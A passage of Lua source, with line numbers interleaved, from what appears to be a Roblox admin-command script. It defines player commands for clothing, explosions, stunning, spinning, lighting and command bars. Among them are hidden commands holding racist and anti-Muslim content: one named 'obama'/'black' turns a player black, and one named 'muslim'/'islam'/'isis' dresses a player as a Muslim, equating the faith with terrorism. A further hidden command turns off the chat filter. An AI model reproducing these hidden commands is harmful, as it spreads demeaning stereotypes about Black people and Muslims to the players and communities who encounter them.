			for _,Player in pairs(Players) do
7348
				if Player.Character ~= nil then
7349
					local Obj = Player.Character:FindFirstChild("Shirt")
7350
					if Obj then
7351
						Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7352
					else
7353
						Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7354
					end
7355
					coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7356
				end
7357
			end
7358
		end
7359
	end};
7360
	
7361
	[{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7362
		local ID = tonumber(Arguments[2])
7363
		local Players = STRING:Scan(Arguments[1], Speaker)
7364
		for _,Player in pairs(Players) do
7365
			for _,Player in pairs(Players) do
7366
				if Player.Character ~= nil then
7367
					local Obj = Player.Character:FindFirstChild("Pants")
7368
					if Obj then
7369
						Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7370
					else
7371
						Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7372
					end
7373
					coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7374
				end
7375
			end
7376
		end
7377
	end};
7378
	
7379
	[{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7380
		local ID = tonumber(Arguments[2])
7381
		local Players = STRING:Scan(Arguments[1], Speaker)
7382
		for _,Player in pairs(Players) do
7383
			for _,Player in pairs(Players) do
7384
				if Player.Character ~= nil then
7385
					if Player.Character:FindFirstChild("Torso") then
7386
						local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
7387
						local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
7388
						if Obj1 then
7389
							Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7390
						else
7391
							Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7392
						end
7393
						if Obj2 then
7394
							Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
7395
						else
7396
							Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
7397
						end
7398
						coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
7399
						coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
7400
					end
7401
				end
7402
			end
7403
		end
7404
	end};
7405
	
7406
	[{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
7407
		local Players = STRING:Scan(Arguments[1], Speaker)
7408
		for _,Player in pairs(Players) do
7409
			CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
7410
		end
7411
	end};
7412
	
7413
	[{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
7414
		if CORE:InAdminGroup(Speaker) then					
7415
			local Players = STRING:Scan(Arguments[1], Speaker)
7416
			for _,Player in pairs(Players) do
7417
				if Player:FindFirstChild("Backpack") then
7418
					local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
7419
					local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
7420
					local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
7421
					local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
7422
					CORE:ExecuteResource("CookieTool", Tool)
7423
				end
7424
			end
7425
		end
7426
	end};
7427
	
7428
	[{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
7429
		if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7430
			CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
7431
		end
7432
	end};
7433
	
7434
	[{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
7435
		if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7436
			local Model = CORE:Insert(tonumber(Arguments[1]), Server.RS)
7437
			Model:MakeJoints()
7438
			for i = 1,math.random(10,20) do
7439
				Model.Name = Model.Name..string.char(math.random(97,122))
7440
			end
7441
			if Model:GetChildren()[1] then
7442
				table.insert(Objects, Model)
7443
				CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
7444
			end
7445
		end
7446
	end};
7447
	
7448
	[{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7449
		local ID = tonumber(Arguments[2])
7450
		local Players = STRING:Scan(Arguments[1], Speaker)
7451
		for _,Player in pairs(Players) do
7452
			if Player.Character then
7453
				CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
7454
			end
7455
		end
7456
	end};
7457
	
7458
	[{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
7459
		local Players = STRING:Scan(Arguments[1], Speaker)
7460
		for _,Player in pairs(Players) do
7461
			if Player.Character then
7462
				local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
7463
				if StopAnim then StopAnim:Destroy() end
7464
			end
7465
		end
7466
	end};
7467
	
7468
	[{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
7469
		if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
7470
			Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
7471
		end
7472
	end};
7473
	
7474
	[{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
7475
		if tonumber(Arguments[1]) then
7476
			Server.Lighting.Brightness = tonumber(Arguments[1])
7477
		end
7478
	end};
7479
	
7480
	[{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7481
		local Players = STRING:Scan(Arguments[1], Speaker)
7482
		for _,Player in pairs(Players) do 
7483
			GUI:CoreGui(Player, "PlayerList", true)
7484
		end
7485
	end};
7486
	
7487
	[{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7488
		local Players = STRING:Scan(Arguments[1], Speaker)
7489
		for _,Player in pairs(Players) do 
7490
			local Players = STRING:Scan(Arguments[1], Speaker)
7491
			GUI:CoreGui(Player, "PlayerList", false)
7492
		end
7493
	end};
7494
	
7495
	[{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
7496
		GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
7497
	end, Hidden = true};
7498
	
7499
	[{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
7500
		local Players = STRING:Scan(Arguments[1], Speaker)
7501
		for _,Player in pairs(Players) do 
7502
			CORE:ChangeCharacter(Player, 1337, false, Speaker)
7503
		end
7504
	end, Hidden = true};
7505
	
7506
	[{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
7507
		local Players = STRING:Scan(Arguments[1], Speaker)
7508
		for _,Player in pairs(Players) do 
7509
			if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7510
				ypcall(function() Player.Character.Torso.roblox:Destroy() end)
7511
				Player:ClearCharacterAppearance()
7512
				CORE:Insert(12436480, Player.Character, true)
7513
				Player.Character.Head.face.Texture = "rbxassetid://110287880"
7514
				Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
7515
				Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
7516
			end
7517
		end
7518
	end, Hidden = true};
7519
	
7520
	[{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
7521
		local Players = STRING:Scan(Arguments[1], Speaker)
7522
		for _,Player in pairs(Players) do 
7523
			CORE:ChangeCharacter(Player, 0, false, Speaker)
7524
		end
7525
	end};
7526
	
7527
	[{"nofilter", "unfilter", "defilter"}] = {"", "Removes current filter", 0, "Owner", false, function(Speaker, Rank, Arguments)
7528
		ShouldFilter = false
7529
	end, Hidden = true};
7530
	
7531
	[{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7532
		local Bet = Arguments[1]
7533
		if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
7534
			GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
7535
		elseif #Bet > 5 then
7536
			GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
7537
		else
7538
			local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
7539
			if Answer == "Yes" then
7540
				local OldBet = Settings.Bet
7541
				CORE:ChangeBet(Bet)
7542
				GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
7543
			end
7544
		end
7545
	end};
7546
	
7547
	[{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7548
		local Prefix = Arguments[1]
7549
		if #Prefix > 5 then
7550
			GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
7551
		else
7552
			local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
7553
			if Answer == "Yes" then
7554
				local OldPrefix = Settings.Prefix
7555
				Settings.Prefix = Prefix
7556
				GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
7557
			end
7558
		end
7559
	end};
7560
	
7561
	[{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
7562
		GUI:CommandBar(Speaker)
7563
	end};
7564
	
7565
	[{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
7566
		GUI:CommandBar(Speaker)
7567
		PermCommandBars[Speaker.Name] = true
7568
	end};
7569
	
7570
	[{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
7571
		PermCommandBars[Speaker.Name] = nil
7572
	end};
7573
	
7574
	[{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
7575
		local Players = STRING:Scan(Arguments[1], Speaker)
7576
		for _,Player in pairs(Players) do 
7577
			PermCommandBars[Player.Name] = nil
7578
		end
7579
	end};
7580
	
7581
	[{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
7582
		CORE:CreateFigure("Dummy", nil, true, Speaker)
7583
	end};
7584
	
7585
	[{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7586
		CORE:CreateFigure(Arguments[1], nil, true, Speaker)
7587
	end};
7588
	
7589
	[{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7590
		local Players = STRING:Scan(Arguments[1], Speaker)
7591
		for _,Player in pairs(Players) do 
7592
			CORE:ClonePlayer(Player)
7593
		end
7594
	end};
7595
	
7596
	[{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
7597
		local Players = STRING:Scan(Arguments[1], Speaker)
7598
		for _,Player in pairs(Players) do 
7599
			CORE:ClonePlayer(Player, Arguments[2])
7600
		end
7601
	end};
7602
	
7603
	[{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
7604
		for _,Obj in pairs(Objects) do
7605
			if Obj then Obj:Destroy() end
7606
		end
7607
		for Name,Jail in pairs(Jails) do
7608
			if not game.Players:FindFirstChild(Name) then
7609
				Jail:Destroy()
7610
				Jails[Name] = nil
7611
			end
7612
		end
7613
		Objects = {}
7614
	end};
7615
	
7616
	[{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
7617
		for _,Obj in pairs(Server.Workspace:GetChildren()) do
7618
			if Obj:IsA("Accoutrement") or Obj:IsA("Tool") then
7619
				Obj:Destroy()
7620
			end
7621
		end
7622
	end};
7623
	
7624
	[{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7625
		local Players = STRING:Scan(Arguments[1], Speaker)
7626
		for _,Player in pairs(Players) do
7627
			if Player.Character and Player.Character:FindFirstChild("Torso") then
7628
				local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
7629
			end
7630
		end
7631
	end};
7632
	
7633
	[{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
7634
		local Players = STRING:Scan(Arguments[1], Speaker)
7635
		for _,Player in pairs(Players) do
7636
			if Player.Character and Player.Character:FindFirstChild("Torso") then
7637
				local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
7638
			end
7639
		end
7640
	end};
7641
	
7642
	[{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7643
		local Players = STRING:Scan(Arguments[1], Speaker)
7644
		for _,Player in pairs(Players) do
7645
			if Player.Character and Player.Character:FindFirstChild("Torso") then
7646
				local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
7647
			end
7648
		end
7649
	end};
7650
	
7651
	[{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7652
		local Players = STRING:Scan(Arguments[1], Speaker)
7653
		for _,Player in pairs(Players) do
7654
			if Player.Character and Player.Character:FindFirstChild("Torso") then
7655
				for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7656
					if Get:IsA("Sparkles") then
7657
						Get:Destroy()
7658
					end
7659
				end
7660
			end
7661
		end
7662
	end};
7663
	
7664
	[{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7665
		local Players = STRING:Scan(Arguments[1], Speaker)
7666
		for _,Player in pairs(Players) do
7667
			if Player.Character and Player.Character:FindFirstChild("Torso") then
7668
				for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7669
					if Get:IsA("Fire") then
7670
						Get:Destroy()
7671
					end
7672
				end
7673
			end
7674
		end
7675
	end};
7676
	
7677
	[{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7678
		local Players = STRING:Scan(Arguments[1], Speaker)
7679
		for _,Player in pairs(Players) do
7680
			if Player.Character and Player.Character:FindFirstChild("Torso") then
7681
				for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7682
					if Get:IsA("Smoke") then
7683
						Get:Destroy()
7684
					end
7685
				end
7686
			end
7687
		end
7688
	end};
7689
	
7690
	[{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7691
		local Players = STRING:Scan(Arguments[1], Speaker)
7692
		for _,Player in pairs(Players) do
7693
			if Player.Character and Player.Character:FindFirstChild("Torso") then
7694
				SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7695
				local Boom = Instance.new("Explosion", Workspace)
7696
				Boom.Position = Player.Character.Torso.Position
7697
			end
7698
		end
7699
	end};
7700
	
7701
	[{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7702
		local Players = STRING:Scan(Arguments[1], Speaker)
7703
		for _,Player in pairs(Players) do
7704
			if Player.Character and Player.Character:FindFirstChild("Torso") then
7705
				coroutine.wrap(function() for i = 1,50 do
7706
					local Boom = Instance.new("Explosion", Workspace)
7707
					Boom.Position = Player.Character.Torso.Position
7708
					wait()
7709
				end end)()
7710
				coroutine.wrap(function() for i = 1,5 do
7711
					SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7712
				end end)()
7713
			end
7714
		end
7715
	end};
7716
	
7717
	[{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7718
		local Players = STRING:Scan(Arguments[1], Speaker)
7719
		for _,Player in pairs(Players) do
7720
			if Player.Character and Player.Character:FindFirstChild("Torso") then
7721
				local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7722
				Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
7723
				CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
7724
			end
7725
		end
7726
	end};
7727
	
7728
	[{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7729
		local Players = STRING:Scan(Arguments[1], Speaker)
7730
		for _,Player in pairs(Players) do
7731
			if Player.Character and Player.Character:FindFirstChild("Torso") then
7732
				local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7733
			end
7734
		end
7735
	end};
7736
	
7737
	[{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
7738
		local Players = STRING:Scan(Arguments[1], Speaker)
7739
		for _,Player in pairs(Players) do
7740
			if Player.Character then
7741
				Player.Character.Parent = Server.Lighting
7742
			end
7743
		end
7744
	end};
7745
	
7746
	[{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7747
		local Players = STRING:Scan(Arguments[1], Speaker)
7748
		for _,Player in pairs(Players) do
7749
			if Player.Character then
7750
				Player.Character.Parent = Server.Workspace
7751
				Player.Character:MakeJoints()
7752
			end
7753
		end
7754
	end};
7755
	
7756
	[{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
7757
		local Players = STRING:Scan(Arguments[1], Speaker)
7758
		for _,Player in pairs(Players) do
7759
			if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7760
				Player.Character.Humanoid.PlatformStand = true
7761
			end
7762
		end
7763
	end};
7764
	
7765
	[{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7766
		local Players = STRING:Scan(Arguments[1], Speaker)
7767
		for _,Player in pairs(Players) do
7768
			if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7769
				Player.Character.Humanoid.PlatformStand = false
7770
			end
7771
		end
7772
	end};
7773
	
7774
	[{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
7775
		local Players = STRING:Scan(Arguments[1], Speaker)
7776
		for _,Player in pairs(Players) do
7777
			if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7778
				Player.Character.Humanoid.Jump = true
7779
			end
7780
		end
7781
	end};
7782
	
7783
	[{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
7784
		local Players = STRING:Scan(Arguments[1], Speaker)
7785
		for _,Player in pairs(Players) do
7786
			if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7787
				Player.Character.Humanoid.Sit = true
7788
			end
7789
		end
7790
	end};
7791
	
7792
	[{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
7793
		local Players = STRING:Scan(Arguments[1], Speaker)
7794
		for _,Player in pairs(Players) do
7795
			if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7796
				Player.Character.Humanoid.Sit = false
7797
			end
7798
		end
7799
	end};
7800
	
7801
	[{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
7802
		local Players = STRING:Scan(Arguments[1], Speaker)
7803
		for _,Player in pairs(Players) do
7804
			if Player.Character and Player.Character:FindFirstChild("Torso") then
7805
				local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
7806
			end
7807
		end
7808
	end};
7809
	
7810
	[{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
7811
		local Players = STRING:Scan(Arguments[1], Speaker)
7812
		for _,Player in pairs(Players) do
7813
			if Player.Character and Player.Character:FindFirstChild("Torso") then
7814
				local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
7815
			end
7816
		end
7817
	end};
7818
	
7819
	[{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
7820
		GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
7821
	end};
7822
	
7823
	[{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
7824
		local Color = "Blue"
7825
		local String = Arguments[2]
7826
		local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
7827
		if #ChatSplit >= 2 then
7828
			if string.lower(ChatSplit[1]) == "green" then
7829
				Color = "Green"
7830
				String = ChatSplit[2]
7831
			elseif string.lower(ChatSplit[1]) == "red" then
7832
				Color = "Red"
7833
				String = ChatSplit[2]
7834
			end
7835
		end
7836
		local Players = STRING:Scan(Arguments[1], Speaker)
7837
		for _,Player in pairs(Players) do
7838
			if Player.Character and Player.Character:FindFirstChild("Head") then
7839
				game:GetService("Chat"):Chat(Player.Character.Head, STRING:DetermineFilter(String, Speaker, Player), Color)
7840
			end
7841
		end
7842
	end};
7843
	
7844
	[{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
7845
		local Players = STRING:Scan(Arguments[1], Speaker)
7846
		for _,Player in pairs(Players) do
7847
			if Player.Character then
7848
				CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
7849
			end
7850
		end
7851
	end};
7852
	
7853
	[{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
7854
		local Players = STRING:Scan(Arguments[1], Speaker)
7855
		local ID = nil
7856
		if tonumber(Arguments[2]) ~= nil then
7857
			ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7858
		else
7859
			for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
7860
				for _,Face in pairs(FaceTable) do
7861
					if string.lower(Arguments[2]) == string.lower(Face) then
7862
						ID = FaceID
7863
						break
7864
					end
7865
				end
7866
			end
7867
		end
7868
		if ID then
7869
			for _,Player in pairs(Players) do
7870
				if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7871
					Player.Character.Head.face.Texture = "rbxassetid://"..ID
7872
					pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
7873
				end
7874
			end
7875
		end
7876
	end};
7877
	
7878
	[{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7879
		local Players = STRING:Scan(Arguments[1], Speaker)
7880
		local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7881
		for _,Player in pairs(Players) do
7882
			if Player.Character and Player.Character:FindFirstChild("Head") then
7883
				local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7884
				BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
7885
				local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
7886
			end
7887
		end
7888
	end};
7889
	
7890
	[{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
7891
		local Players = STRING:Scan(Arguments[1], Speaker)
7892
		for _,Player in pairs(Players) do
7893
			if Player.Character and Player.Character:FindFirstChild("Head") then
7894
				local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7895
			end
7896
		end
7897
	end};
7898
	
7899
	[{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
7900
		REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
7901
	end, Http = true};
7902
	
7903
	[{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Downloads http logs sent by all admins using RemoteAdmin with a DataKey from the Linked Account", 0, "Admin", false, function(Speaker, Rank, Arguments)
7904
		GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
7905
	end, Http = true};
7906
		
7907
	[{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
7908
		local Players = STRING:Scan(Arguments[1], Speaker)
7909
		for _,Player in pairs(Players) do
7910
			local ExistingData = Player:LoadInstance("Data")
7911
			if ExistingData == nil then
7912
				ExistingData = Instance.new("Configuration")
7913
			end
7914
			ExistingData.Name = "Player Data"
7915
			local Key = Instance.new("Configuration", ExistingData)
7916
			Key.Name = Arguments[2]
7917
			Player:SaveInstance("Data", ExistingData)
7918
		end
7919
	end};
7920
	
7921
	[{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
7922
		local Players = STRING:Scan(Arguments[1], Speaker)
7923
		local Data = Arguments[2]
